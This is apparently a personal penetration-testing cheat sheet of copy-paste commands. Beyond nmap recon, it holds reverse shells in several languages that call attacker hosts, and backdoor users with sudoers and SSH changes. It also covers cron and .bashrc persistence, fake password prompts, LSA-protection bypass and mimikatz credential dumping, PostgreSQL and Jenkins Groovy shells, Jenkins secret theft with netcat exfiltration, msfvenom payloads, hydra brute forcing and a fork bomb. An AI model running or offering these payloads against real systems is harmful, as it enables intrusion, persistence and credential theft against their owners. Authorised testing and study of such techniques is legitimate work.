Main

Pentesting Notes and Snippets

Recon

Copy pasta stuff I use for recon - both inside and outside of a target.

Host Discovery

- Ping Sweeping:

```
IP_RANGE='192.168.0.0'
SUBNET_MASK='/24'
nmap -sn -oA onlineHosts "${IP_RANGE}/${SUBNET_MASK}"
```

```
`-sn`: Use ping scan for host discovery (don’t run a port scan)
`-oA`: Store output in normal, XML, and grepable file formats
```

- Parse IP Addresses from `gnmap` file

```
grep "^Host: " onlineHosts.gnmap | grep "Status: Up" | \
   cut -d " " -f 2 | sort -n | uniq
```

- Skip ICMP checks

  Use this when targets don’t respond to ping:

```
nmap -Pn "${TARGET_IP}"
```

`-Pn`: Skips the host discovery phase, and scans all addresses as if the system(s) were alive and responding to pings.

Useful when scanning an internet facing system.

Resource: https://medium.com/@hakluke/haklukes-guide-to-nmap-port-scanning-is-just-the-beginning-25d971692fdb

Test out of bound code execution with tcpdump

Use this: `tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo -vv` in conjunction with a ping command.

Information Gathering

After host discovery, you can run the following to capture the discovered IP addresses in an array:

```
file=targets.gnmap
TARGET_IPS=($(grep "^Host: " $file | grep "Status: Up" | cut -d " " -f 2 | sort -n
| uniq))
```

After discovering what hosts are responding, you'll want to know what ports they're exposing.

There are many ways to accomplish this, but this is the process I tend to follow (depending on the target, engagement scope, etc.).

- Getting it done quickly with a SYN scan:

```
nmap -sS -p- "${TARGET_IP}"
```

`-sS`: SYN scan. Default choice, faster than TCP connect.

Does not complete the three way handshake, making it more stealthy. However, IPS/IDS and firewalls will detect and report a SYN scan.

`-p-`: Scan all 65535 ports - shorthand for `-p 1-65535`

If you've got the IP addresses in an array:

for ip in "${TARGET_IPS[@]}"; do sudo nmap -sS -p- $ip; done

- When I want to be sure and am not worried about stealth:

  Full three way handshake, not as fast as SYN scan and noisier. Considered most stable, and has least chance to crash the target.

```
nmap -sT -p- -Pn "${TARGET_IP}"
```

`-sT`: Run a TCP connect scan

`-sV`: Service version detection

`--version-intensity`: Used in conjunction with `-sV` to help identify running services.

The “intensity” value ranges between 0-9.

The higher the number, the more likely a service is to be properly identified. However, higher numbers also make scan times longer. Default number is 7.

- When I REALLY don’t care about stealth:

```
sudo nmap -A -p- -v "${TARGET_IP}"
```

`-A`: Enables OS detection, service version detection, script scanning, and traceroute

`-v`: Increase verbosity of output

- Version and OS enumeration:

```
sudo nmap <target ip> -sV --version-intensity 9 -O
```

Miscellaneous Nmap Stuff

Some useful nmap commands that don’t fit into any particular methodology I employ.

- Detailed scan

```
nmap -T4 -A -v -oA detailedScanResults "${IP_RANGE}/${SUBNET_MASK}"
```

`-T4`: Aggressive

`-oA`: Store output in normal, XML, and grepable file formats

- Single host TCP scan

```
nmap -Pn -sS --stats-every 3m --max-retries 1 \
   --max-scan-delay 20 --defeat-rst-ratelimit \
   -T4 -p- -oX $OUTPUT_FILENAME.xml $TAREGET
```

- Parse all ports out of xml output

  Output will be returned as a comma separated list

```
cat $OUTPUT_FILENAME.xml | \
   grep portid | \
```

```
  grep protocol=\"tcp\" | \
  cut -d'"' -f4 | paste -sd "," -
```

- Detailed single host TCP scan

  Run this after running the above single host TCP scan.

```
nmap -nvv -Pn -sSV -T1 -p$(cat <file from single host tcp scan>.xml | grep portid
| grep protocol=\"tcp\" | cut -d'"' -f4 | paste -sd "," -) --version-intensity 9
-A -oA <output filename DETAILED> <target>
```

`-n`: No DNS resolution on the IP addresses

`-sSV`: SYN scan and service version detection (`-s` is used to specify a scan type and the uppercase letters that follow are the parameters)

- Single host UDP scan

```
nmap -Pn --top-ports 1000 -sU --stats-every 3m --max-retries 1 -T3 -oA <output filename>
<target>
```

`-sU`: Discover services using UDP. Very slow, can take 20-30 minutes for 1000 ports.

Resources:

- https://hackertarget.com/nmap-cheatsheet-a-quick-reference-guide/
- https://unix.stackexchange.com/questions/87935/nmap-sn-scan-or-no-scan
- https://blog.zsec.uk/nmap-rtfm/

Eyewitness

Single target as command line arg

Run from docker container, output results to `~/EyeWitness/results`:

```
docker run --rm -it -e DISPLAY=$DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix -v
~/EyeWitness:/tmp/EyeWitness
eyewitness --single http://www.google.com --headless
```

Read targets out of a file

1. Put your targets in `~/EyeWitness/urls.txt`
2. Run the following command:

```
docker run --rm -it -e DISPLAY=$DISPLAY \
   -v /tmp/.X11-unix:/tmp/.X11-unix \
   -v $HOME/eyewitness:/tmp/EyeWitness eyewitness \
   -f /tmp/EyeWitness/urls.txt --headless
```

3. The Results will be in `~/EyeWitness/results`.

Responder

Responder can be a great tool to collect password hashes, and give you a starting point for gaining access to a system on the network.

Here's one such scenario: https://markitzeroday.com/pass-the-hash/crack-map-exec/2018/03/04/da-from-outside-the-domain.html

---

All things reverse shells

Bash Reverse Shell

```
bash -i >& /dev/tcp/<evil ip>/4444 0>&1


bash -i >& /dev/tcp/$ATTACKERS_IP_ADDRESS/8080 0>&1


exec 5<>/dev/tcp/<evil ip>/4444;cat <&5 | while read line; do $line 2>&5 >&5; done


exec 5<>/dev/tcp/<evil ip>/4444;while read line 0<&5; do $line 2>&5 >&5; done
```

Netcat reverse shell

On evil server: `nc -lvp <port>` On victim: `nc <evil server> <port> -e sh &`

Python Reverse Shell

```
export RHOST="$(ipaddr)"
export RPORT=4444
python3 -c 'import
sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[o
s.dup2(s.fileno(),fd)
for fd in (0,1,2)];pty.spawn("/bin/bash")'
```

Scala Reverse Shell

```
import sys.process._
"nc -e /bin/sh evil.com 8080" !!;
```

Once the shell is established, run this command to get a bash shell:

```
python -c 'import pty;pty.spawn("/bin/bash")'
```

Some other nice ways to “upgrade” your netcat shell: https://medium.com/bugbountywriteup/pimp-my-shell-5-ways-to-upgrade-a-netcat-shell-ecd551a180d2

Very helpful resource for testing: https://www.tutorialspoint.com/compile_scala_online.php

PHP reverse shell

```
php -r '$sock=fsockopen("ATTACKER_IP",ATTACKER_PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
```

Handle multiple reverse nc shells

```
go get github.com/WangYihang/Platypus
cd go/src/github.com/WangYihang/Platypus
go run platypus.go
```

To configure the listener to listen on port 8080:

```
run 0.0.0.0 8080
```

To list sessions:

```
list
```

This will give you a list of current sessions. Each has a unique hash that you need to copy if you want to interact with a given session.

To interact with a session:

```
jump <hash of session>
interact
```

To exit a session back to playpus:

```
exit
```

Project Repo: https://github.com/WangYihang/Platypus

Netcat reverse shell without -e

- Create listener:

```
nc -lvp $PORT
```

- Run the following on the target:

```
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc $ATTACKER_IP $PORT 1>/tmp/backpipe
```

Resource: https://pen-testing.sans.org/blog/2013/05/06/netcat-without-e-no-problem/

NFS

This is what you should do if you discover misconfigured NFS mounts.

1. Create folder to use for share:

```
mkdir -p nfs/some_great_share_name
```

2. Install packages needed for debian:

```
apt install -y nfs-common cifs-utils
```

3. Start services required:

```
service rpcbind start
```

4. Mount the share:

```
mount -t nfs $TARGET_MOUNT_IP_OR_HOSTNAME:/some_great_share_name -o
rw,nfsvers=2 nfs/some_great_share_name
```

5. Unmount the share when done:

```
umount nfs/some_great_share_name
```

Interesting things to try with the mount:

1. See if you can edit .profile or .bashrc or .bash_profile, etc. in a users home directory.
2. See if there is an authorized_keys file in any of the users home directories. If so, you might be able to create a backdoor:

```
find . -name "authorized_keys" 2>/dev/null
```

NFS commands:

- Show available shares:

  showmount -e target.system
- Make a directory to house to contents of the share locally:

mkdir /tmp/target.system`

- Mount the NFS share locally:

  mount -t nfs target.system:/mount/path /tmp/target.system
- Dismount the NFS share:

  umount -f -l /tmp/target.system

Persistence

Stay awhile and listen...

Persist with SSH key

1. Create an ssh key on the attackers system by following the instructions on this page under **Create SSH Key**.
2. Add the contents of the public key to the victims `~/.ssh/authorized_keys` file (or create one if it doesn't already exist)
3. If you created an `authorized_keys` file previously, make sure to run `chmod 0600 ~/.ssh/authorized_keys`
4. You can then use the private key to access the target system: `ssh -i /path/to/private/key user@target.com`

Resource: https://www.defcon.org/images/defcon-15/dc15-presentations/Moore_and_Valsmith/Whitepaper/dc-15-moore_and_valsmith-WP.pdf

Bonus points if you're able to do this with a nfs mounted home directory (you'll get a lot more bang for your buck)

Create backdoor user

```
# Create evil user
useradd evil -s /bin/bash -m
# Change evil user's password
echo -e "evilpass\nevilpass" | passwd evil
# Add evil user to sudoers
echo 'evil ALL=(ALL:ALL) ALL' >> /etc/sudoers
# Give evil user ssh access
```

```
echo -e "PasswordAuthentication yes\nAllowUsers evil" >> /etc/ssh/sshd_config
```

To delete the backdoored user:

```
# Delete evil user
userdel evil
# Delete evil user from sudoers
sed -i '/evil ALL=(ALL:ALL) ALL/d' /etc/sudoers
# Delete evil user from ssh access
sed -i '/^PasswordAuthentication yes/d' /etc/ssh/sshd_config && sed -i '/^AllowUsers
evil/d' /etc/ssh/sshd_config
```

Add user with no password to sudoers

```
user ALL=(ALL:ALL) NOPASSWD:ALL
```

Resource: https://phpraxis.wordpress.com/2016/09/27/enable-sudo-without-password-in-ubuntudebian/

Lateral Movement

Get going while the gettin' is good.

Hijacking SSH with Master Mode

Copy this into `~/.ssh/config` for a given compromised user:

```
Host *
ControlMaster auto
ControlPath ~/.ssh/sockets/ssh-%r@%h:%p
ControlPersist yes
```

Also run this command:

```
mkdir ~/.ssh/sockets
```

Now you simply need to wait for the compromised user to ssh to another host. Once this happens, you should be able to ssh to that system without a password as that user.

Resource: https://www.defcon.org/images/defcon-15/dc15-presentations/Moore_and_Valsmith/Whitepaper/dc-15-moore_and_valsmith-WP.pdf

---

Misc Linux Post Exploitation Stuff

It's not organized, but it's easy to search, copy, and paste from.

Find logs on a linux system

```
find . -type f -name "*.log"
```

Take screenshot

```
# Requires imagemagick: sudo apt install -y imagemagick
DISPLAY=:0 import -silent -window root /var/tmp/.tmp
```

Ask for creds

```
DISPLAY=:0 gksudo -p -m "Enter your password to apply changes."
```

Access a user's env

This is incredibly useful when you find that users are storing credentials in their environment variables.

```
sudo su - <username>
env
```

Searching for valuable information

- Look for config files:

```
# This command works on linux and macOS
du -a $directory | awk '{print $2}' | grep '\.conf$'
```

- Look for log files:

```
find . -type f -name "*.log"
```

Transfer file via netcat

On host to receive file:

```
nc -lvp [some port] > .evil.file
```

On host to send file

```
nc -w 3 [host receiving file] [some port] < evil.file
```

If the file is a reverse shell be sure to make it an executable on the system:

```
chmod +x .evil.file
```

Who has logged in previously

```
who, w, last -F
```

Are you in the sudoers file

```
sudo -l, cat /etc/sudoers
```

Get network information

This includes things like open ports and their associated processes.

```
netstat -antup
lsof -i
```

Search for secrets on git server

Use this is you land on a git server to look for some juicy secrets:

```
for i in $(git ls-tree -r master | cut -d " " -f 3 | cut -f 1); do echo -e "${i}";
git cat-file -p ${i} | grep -i password; done
```

Find programs with root privs

```
find / -perm -04000 > programsWithRootAccess.txt
```

Screenshot the targets screen when you’re ssh’ed into a system

```
DISPLAY=:0 import -window root screenshot.jpg
```

SUID Executables

Look for SUID files:

```
find / -perm -u=s -type f 2>/dev/null
```

Resources:

- https://chryzsh.gitbooks.io/pentestbook/privilege_escalation_-_linux.html
- https://www.youtube.com/watch?v=oYHAi0cgur4
- https://payatu.com/guide-linux-privilege-escalation/
- https://www.rebootuser.com/?p=1623
- https://pentestlab.blog/2017/09/25/suid-executables/
- https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/
- https://github.com/jmatt-io/ANL-CDC/blob/master/ubuntu_ftp_secure.sh

- https://youtu.be/kQ5jDzyd_C8
- https://nakkaya.com/2009/04/15/using-netcat-for-file-transfers/

Linux Post Exploitation Tools

We don't always need to remake the wheel. Sometimes the existing wheel works just fine.

Monitor processes

```
wget https://github.com/DominicBreuker/pspy/releases/download/v1.0.0/pspy32s
chmod +x pspy32s && ./pspy32s
```

Resource: https://delta.navisec.io/privilege-escalation/

Unix-privesc-check

Find misconfigurations, files with open permissions, etc. Video Reference

Download it:

```
wget https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/master/upc.sh
-O /tmp/upc.sh
```

-or-

Download and run privesc-check.sh, save output to a file, and clean up (standard):

```
wget http://pentestmonkey.net/tools/unix-privesc-check/unix-privesc-check-1.4.tar.gz
&& cd /tmp && tar -xvf unix-privesc-check-1.4.tar.gz && bash /tmp/unix-privesc-check-1.4/unix-
privesc-check
standard | tee /tmp/output2.txt && rm /tmp/unix-privesc-check-1.4.tar.gz && rm -rf
/tmp/unix-privesc-check-1.4
```

-or-

Download and run privesc-check.sh, save output to a file, and clean up (detailed):

```
wget http://pentestmonkey.net/tools/unix-privesc-check/unix-privesc-check-1.4.tar.gz
&& cd /tmp && tar -xvf unix-privesc-check-1.4.tar.gz && bash /tmp/unix-privesc-check-1.4/unix-privesc-check
detailed | tee /tmp/output2.txt && rm /tmp/unix-privesc-check-1.4.tar.gz && rm -rf
/tmp/unix-privesc-check-1.4
```

LinEnum

Another good one to find misconfigurations, files with open permissions, etc.

Download it:

```
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/linenum.sh
```

-or-

Download and run linenum, save output to a file:

```
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/linenum.sh
&& bash /tmp/linenum.sh | tee /tmp/output.txt
```

Linux Exploit Suggester

```
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
--no-check-certificate -O /tmp/les.sh && bash /tmp/les.sh | tee /tmp/les.txt &
```

LinPEAS

Grab it:

```
curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh
| sh
```

Run it and send the output to a file:

```
linpeas -a > /dev/shm/linpeas.txt
```

Linuxprivchecker

Download and run linuxprivchecker.py, save output to a file:

```
wget
https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py
--no-check-certificate -O /tmp/lpc.py && python /tmp/lpc.py | tee /tmp/output1.txt
```

If there are services running as privileged user, try to find existing exploits.

Windows Post Exploitation

I'll eventually make this into its own page, but for now everything is on here.

```
# whoami
echo %USERDOMAIN%\%USERNAME%
# create user && add to Administrators
net user <username> <password> /ADD
net localgroup Administrators <username> /ADD
# list local admins
net localgroup administrators
# Look for passwords in txt, xml && xls files
findstr /si password *.txt| *.xml| *.xls
# Show open ports
netstat -bano
# Get list of domain admins
net group "Domain Admins" /domain
```

Find weak service permissions

Video reference

Information on how to download sysinternals using powershell can be found here.

```
accesschk.exe -qwcu "Authenticated Users" * /accepteula
accesschk.exe -qwcu "Users" * /accepteula
accesschk.exe -qwcu "Everyone" * /accepteula
```

Once one has been found, modify the binpath to point to the net user bin to create a rogue user:

```
sc config <vuln service> binpath= "net user <username> <password> /add"
```

Restart it:

```
sc start <vuln service>
```

Add that user to the administrators group:

```
sc config <vuln service> binpath= "net localgroup administrators <username> /add"
```

Restart it again:

```
sc start <vuln service>
```

Find weak file permissions

Video reference

Information on how to download sysinternals using powershell can be found here.

```
accesschk.exe -qwsu "Authenticated Users" * /accepteula
accesschk.exe -qwsu "Users" * /accepteula
accesschk.exe -qwsu "Everyone" * /accepteula
```

Always install elevated privilege escalation

```
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

Use metasploit module:

```
use exploit/windows/local/always_install_elevated
set LPORT 443
exploit
```

Use sessiongopher to find saved session info

Grab it:

```
(New-Object
System.Net.WebClient).DownloadFile("https://github.com/fireeye/SessionGopher/blob/master/Sessi
onGopher.ps1","C:\Temp\SessionGopher.ps1")
```

Run it:

```
Import-Module .\SessionGopher.ps1
Invoke-SessionGopher -Thorough
```

Windows WGET using cmd

```
bitsadmin /transfer myDownloadJob /download /priority normal http://<evil server>/evil.exe
c:\temp\evil.exe
```

Upload stuff to a Windows machine via RDP

http://haacked.com/archive/2010/05/18/remote-desktop-file-copy.aspx/

Kali terminal:

```
rdesktop -r disk:ww=/path/to/folder/to/mount targetsystem.com
```

Request Credentials from user

- Request credentials:

```
$credential = $host.ui.PromptForCredential("Credentials Required", "Please enter
your username and password.", "$env:username","NetBiosUserName")
```

```
$credential.Password | ConvertFrom-SecureString
$env:username
$credential.GetNetworkCredential().password
```

Bypass LSA Protection

You can view protected processes using Process Explorer by looking at the Protection column. To bypass it, you can use a tool called PPLKiller:

```
git clone https://github.com/RedCursorSecurityConsulting/PPLKiller
```

Next, open `PPLKiller.sln` with Visual Studio 2019 on a Windows machine and build a release binary.

You will also need to include a driver from a sketchy site, so be sure to do that before zipping up `PPLKillerx64.exe` for delivery to your target.

Once it's uploaded, extract and run it:

```
Expand-Archive -Path C:\temp\PPLKiller.zip -DestinationPath C:\temp\PPLKiller
cmd
cd C:\Temp\PPLKiller
.\PPLKillerx64.exe /installDriver
.\PPLKillerx64.exe /disableLSAProtection
## Open Process Explorer and observe that lsass.exe is no longer protected
.\PPLKillerx64.exe /uninstallDriver
```

with this out of the way, you can run mimikatz.

Dump creds with mimikatz

```
.\mimikatz.exe
privilege::debug
sekurlsa::logonPasswords full
exit
```

Lsass dump

If you are dealing with LSA protection and you just want to do an lsass dump, you'll want a tool called PPLdump:

```
git clone https://github.com/itm4n/PPLdump.git
```

Next, open `PPLDump.sln` with Visual Studio 2019 on a Windows machine and build a release binary.

Create a zip that includes the binary along with the DLL you'll need (this is architecture specific). For example, if your target is x64, your zip should have:

```
PPLDump.exe
PPLdumpDll-64.dll
```

Once everything is in place on your target, you can run the following to do an Lsass dump:

```
.\PPLDump-64.exe -v lsass.exe .\lsass.dmp
.\mimikatz.exe
privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords
```

Empire

Install on Kali

```
sudo apt-get install -y powershell-empire
```

Create a listener

```
uselistener http
set Name test
set Host http://attacker.lab
set Port 6666
execute
```

Create a stager

```
usestager windows/launcher_bat test
info
```

```
execute
```

Interact with agent

```
agents
interact <agent id>
```

POC creation

Unquoted Service Paths

Resources:

- https://github.com/emilyanncr/Windows-Post-Exploitation
- https://www.coengoedegebure.com/hacking-windows-with-meterpreter/
- https://youtu.be/58-145bvu_8?t=445
- https://www.youtube.com/watch?v=CuBX3sBeGSw
- https://youtu.be/kQ5jDzyd_C8
- https://netsec.ws/?p=331
- https://trustfoundry.net/practical-guide-to-exploiting-the-unquoted-service-path-vulnerability-in-windows/
- https://www.gracefulsecurity.com/privesc-unquoted-service-path/
- https://www.youtube.com/watch?v=PC_iMqiuIRQ
- http://thepcn3rd.blogspot.com/2015/03/utilizing-powerupps1-to-escalate.html
- https://twitter.com/1njected/status/875701296325697536

Cracking hashes

- Identify what type of hash it is with Hash ID. Once you've done this, crack it with hashcat, john, etc.
- Cracking hashes in `/etc/shadow`: https://www.cyberciti.biz/faq/understanding-etcshadow-file/
- Hashcat cheatsheet: https://www.dropbox.com/s/kdklrowv683yq1a/HashcatCheatSheet.v2018.1b%20%282%29

.pdf?dl=0

- Using john with an SSH key that has a pw

  Use `ssh2john.py` to take the private key and use it to create a format that john can use:

```
## Assuming we are in the current directory for John
./run/ssh2john.py privateKey > john_ssh_fmt.txt
./run/john john_ssh_fmt.txt --wordlist=wordlist_to_use_for_pw.txt
```

Resource: https://twitter.com/curi0usJack/status/1162452287677186050?s=20

Brute forcing

SSH with Hydra

```
hydra ssh://192.168.1.1 -v -L users.txt -t 4 -P 10-million-password-list-top-10000.txt
```

Resource: https://null-byte.wonderhowto.com/how-to/gain-ssh-access-servers-by-brute-forcing-credentials-0194263/

Basic auth page with Hydra

```
hydra -V -L <list with usernames to try> -P <list with passwords to try> <target
site> http-get /<path to page with auth>
```

Denial of Service

When you really want your incredibly understanding, understaffed, and forgiving blue team to notice you.

- Crash system as normal user with fork bomb

  forkbomb(){ forkbomb | forkbomb & }; forkbomb

Resource: https://linuxconfig.org/how-to-crash-your-linux-system-with-fork-bomb

---

Getting a shell using PostgreSQL

This assumes you have the permissions necessary for this to work.

1. Set up a listener:

```
nc -lvp 8080
```

Connect to the postgresql DB:

```
psql -h <ip with db> -U <db username>
```

Review the access your user has with the \du command. Alternatively, you can go in blind and run a quick test (or run a test after you've established you have the proper access and permissions to do so):

```
CREATE OR REPLACE FUNCTION exec() RETURNS text AS $BODY$ BEGIN DROP TABLE IF EXISTS
bDGhLsYPcd; CREATE TEMP TABLE bDGhLsYPcd (INPUT TEXT); COPY bDGhLsYPcd FROM PROGRAM
'pwd'; RETURN NULL; END; $BODY$ LANGUAGE plpgsql; SELECT * FROM exec(); SELECT *
FROM bDGhLsYPcd;
```

This should give you the working directory the database is running on if all went well.

Next, get your reverse shell loaded up:

```
CREATE OR REPLACE FUNCTION exec() RETURNS text AS $BODY$ BEGIN DROP TABLE IF EXISTS
bDGhLsYPcd; CREATE TEMP TABLE bDGhLsYPcd (INPUT TEXT); COPY bDGhLsYPcd FROM PROGRAM
'echo "bash -i >& /dev/tcp/<attack machines ip address>/8080 0>&1" >> /tmp/unfriendly.sh';
RETURN NULL; END; $BODY$ LANGUAGE plpgsql; SELECT * FROM exec(); SELECT * FROM bDGhLsYPcd;
```

Execute it:

```
CREATE OR REPLACE FUNCTION exec() RETURNS text AS $BODY$ BEGIN DROP TABLE IF EXISTS
bDGhLsYPcd; CREATE TEMP TABLE bDGhLsYPcd (INPUT TEXT); COPY bDGhLsYPcd FROM PROGRAM
'bash /tmp/unfriendly.sh'; RETURN NULL; END; $BODY$ LANGUAGE plpgsql; SELECT * FROM
exec(); SELECT * FROM bDGhLsYPcd;
```

You should have your shell.

Fix su: must be run from a terminal

```
python -c 'import pty;pty.spawn("/bin/bash")'
```

Jenkins

We hate using it as much as we love attacking it.

Shell on Jenkins via Groovy Console

1. Set up a listener:

```
nc -lvp 8080
```

2. Set up a webserver and host your payload:

```
bash -i >& /dev/tcp/<attackers ip>/8080 0>&1
```

3. Download your payload:

```
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = "curl http://<attackers ip>/unfriendly.sh --output /tmp/shell".execute()
## You could also use wget
## def proc = "wget http://<attackers ip>/unfriendly.sh -O /tmp/shell".execute()
## Use --proxy=off with wget if your proxy is messing with your ability to get that
code
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out&gt; $sout err&gt; $serr"
```

4. Make sure your payload is on the target system:

```
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = "ls /tmp".execute()
proc.consumeProcessOutput(sout, serr)
```

```
proc.waitForOrKill(1000)
println "out&gt; $sout err&gt; $serr"
```

5. Execute the payload:

```
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = "bash /tmp/shell".execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out&gt; $sout err&gt; $serr"
```

6. Enjoy shell.

If /script is not accessible, but /computer is

1. Go to one of the listed nodes
2. Select one of the projects
3. Click **Script Console** on the left

Jenkins on Windows

Shout out to Nick Georgieff for figuring this one out.

Quick test on the groovy console: `println '"'powershell -command "ls"'.execute().text`

Once you've verified that is working, switch gears to get a meterpreter session going.

To setup the handler, start by creating an rc file so you don't need to type the commands into msfconsole every time to interact with your payload.

Create the file: `touch windows_rev_powershell_listener.rc`

In `windows_rev_powershell_listener.rc`:

```
use exploit/multi/handler
set PAYLOAD cmd/windows/reverse_powershell
set LHOST <host running metasploit>
set LPORT 445
set ExitOnSession false
exploit -j -z
```

Run the rc file: `msfconsole -r windows_rev_powershell_listener.rc`

Connect to handler from the groovy console:

```
String host="<host running metasploit>";
int port=445;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),
si=s.getInputStream();OutputStream
po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.w
rite(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.
read());so.flush();po.flush();Thread.sleep(50);try
{p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

At this point, you should have a meterpreter session.

Stealing credentials from Jenkins

1. Locate the credentials file:

   find / -name "credentials.xml" 2>/dev/null
2. Find a password in the file and copy it.

In the groovy console:

```
println(hudson.util.Secret.decrypt("<password>"))
```

Resource: https://www.dropbox.com/s/5j1n4ltm630gcyn/DeadDropOct26_Slides.pdf?dl=0

Alternatively, you can also use https://github.com/cheetz/jenkins-decrypt after pulling down the `master.key`, `hudson.util.Secret`, and `credentials.xml` file.

- Exfil the files via cli

  On the victim, run:

```
nc -w3 [attacker IP] 5000 < credentials.xml
```

On the attacker:

```
nc -l -p 5000 > credentials.xml
```

Do this for the rest of the files (`master.key`, `hudson.util.Secret`)

Resource: https://www.n00py.io/2017/01/compromising-jenkins-and-extracting-credentials/

Stealing creds via Job Import plugin

1. If you see Job Import Plugin in the web UI, click it.
2. If you have the Job/Create permission, you should be able to specify a Remote Jenkins URL and a credential
3. Specify your system as the remote jenkins url, i.e. http://192.168.1.2:8080
4. Choose the credential you want to steal
5. Open a listener on the attacker's system: `nc -lvp 8080`
6. Decode output for credentials that comes from the Authorization header: `cat <base64 output> | base64 --decode`

Jenkins Post Exploitation

If you get a shell on a jenkins system, be sure to check if there is a `/jobs` folder in the jenkins directory. If so, be sure to go through the various subfolders and steal any `config.xml` files with a `<passsword>` field. You can use the same trick as above to decrypt the credentials, replacing the `credentials.xml` with `config.xml`.

Metasploit

Run exploit in the background: `exploit -j` Do not interact with a session after successful exploitation of a target: `exploit -z` You can combine them: `exploit -j -z` Persist listener if a meterpreter session dies: `set ExitOnSession false`

Create RC Listener

You can create an rc file so you don't need to type the commands into msfconsole every time to interact with your payload.

Create the file:

```
touch listener.rc
```

In listener.rc:

```
use exploit/multi/handler
set payload <payload>
set LHOST <host running metasploit>
set LPORT <port>
set ExitOnSession false
exploit -j -z
```

Run the rc file:

```
msfconsole -r listener.rc
```

Capture NTLM Hash with Metasploit

Start the smb capture server:

```
use auxiliary/server/capture/smb
run
```

Get victim to connect via smb. If they need help via phish and they’re on a mac, have them open Finder, Command+k, and then type in the following:

```
smb://<evil server ip>
```

MSFVenom

x64 macos

```
msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=4444 -f
macho > notEvil.macho
```

RC Script:

```
use exploit/multi/handler
set PAYLOAD osx/x64/meterpreter_reverse_tcp
set LHOST <Your IP Address>
set LPORT 4444
set ExitOnSession false
exploit -j -z
```

x86 linux

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your
Port to Connect On> -f elf > shell.elf
```

To persist the file once you've uploaded it to your target in `~/.bashrc`:

```
echo "~/.evil.file &" >> ~/.bashrc
```

For good measure, throw up a cronjob for every 5 minutes as well:

```
# write out current crontab
crontab -l > mycron
# echo new cron into cron file
echo "*/5 * * * * ~/.evil.file" >> mycron
# install new cron file
crontab mycron
rm mycron
```

RC Script:

```
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST [listener ip]
set ExitOnSession false
exploit -j -z
```

Run it:

```
msfconsole -r linux_rev.rc
```

64-bit exe

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<local host ip> LPORT=4444
-f exe -o evil.exe
```

32-bit exe

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<local host ip> LPORT=445 -f exe
-o friendly.exe
```

exe-service

Useful when you need a running service, like for unquoted service path vulnerabilities.

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<local host ip> LPORT=445 -f exe-service
-o friendly.exe
```

PHP Reverse shell payload

```
msfvenom -p php/meterpreter/reverse_tcp LHOST=<local host ip> LPORT=4444 -e php/base64
-f raw > evil_file.php && sed -i '1s/^/<?php\n/' evil_file.php && sed -i -e '$a\?>'
evil_file.php
```

PHP bind payload

```
msfvenom -p php/meterpreter/bind_tcp LPORT=4444 > msf_bind_shell.php
```

After starting the listener, upload the php code to the target server. Be sure to replace the `/*<?php /**/` with `<?php` at the top of the file, and replace the `%` at the end of the file with `?>`.

Once the file is uploaded, open the file on the target server. Follow this with an `exploit` in metasploit.

Encoded x64 aspx shell

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<local host ip> LPORT=4444
-e x64/xor -f aspx > shell64.aspx
```

Jar

```
msfvenom -p java/meterpreter/reverse_tcp LHOST=<local host ip> -f raw -o /tmp/java.jar
```

Start listener:

```
msfconsole
use exploit/multi/handler
set PAYLOAD java/meterpreter/reverse_tcp
```

```
set LHOST <local host ip>
set ExitOnSession false
exploit -j -z
```

Powershell payload

```
msfvenom -p cmd/windows/reverse_powershell LHOST=<local host ip> LPORT=445 -o friendly.bat
```

Start listener:

```
msfconsole
use exploit/multi/handler
set PAYLOAD cmd/windows/reverse_powershell
set LHOST <local host ip>
set LPORT 445
set ExitOnSession false
exploit -j -z
```

Copy the evil code:

```
# On the linux machine
cat friendly.bat
```

Start powershell on victim:

```
%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe
```

Paste the evil code into the powershell terminal, or create a .bat file and run it.

Resources:

- http://www.securityunlocked.com/2016/01/02/network-security-pentesting/most-useful-msfvenom-payloads/
- http://netsec.ws/?p=331
- https://github.com/Snifer/security-cheatsheets/blob/master/msfvenom
- https://stackoverflow.com/questions/878600/how-to-create-a-cron-job-using-bash-automatically-without-the-interactive-editor
- http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
- https://hackernoon.com/reverse-shell-cf154dfee6bd

- https://w00troot.blogspot.com/2017/05/getting-reverse-shell-from-web-shell.html

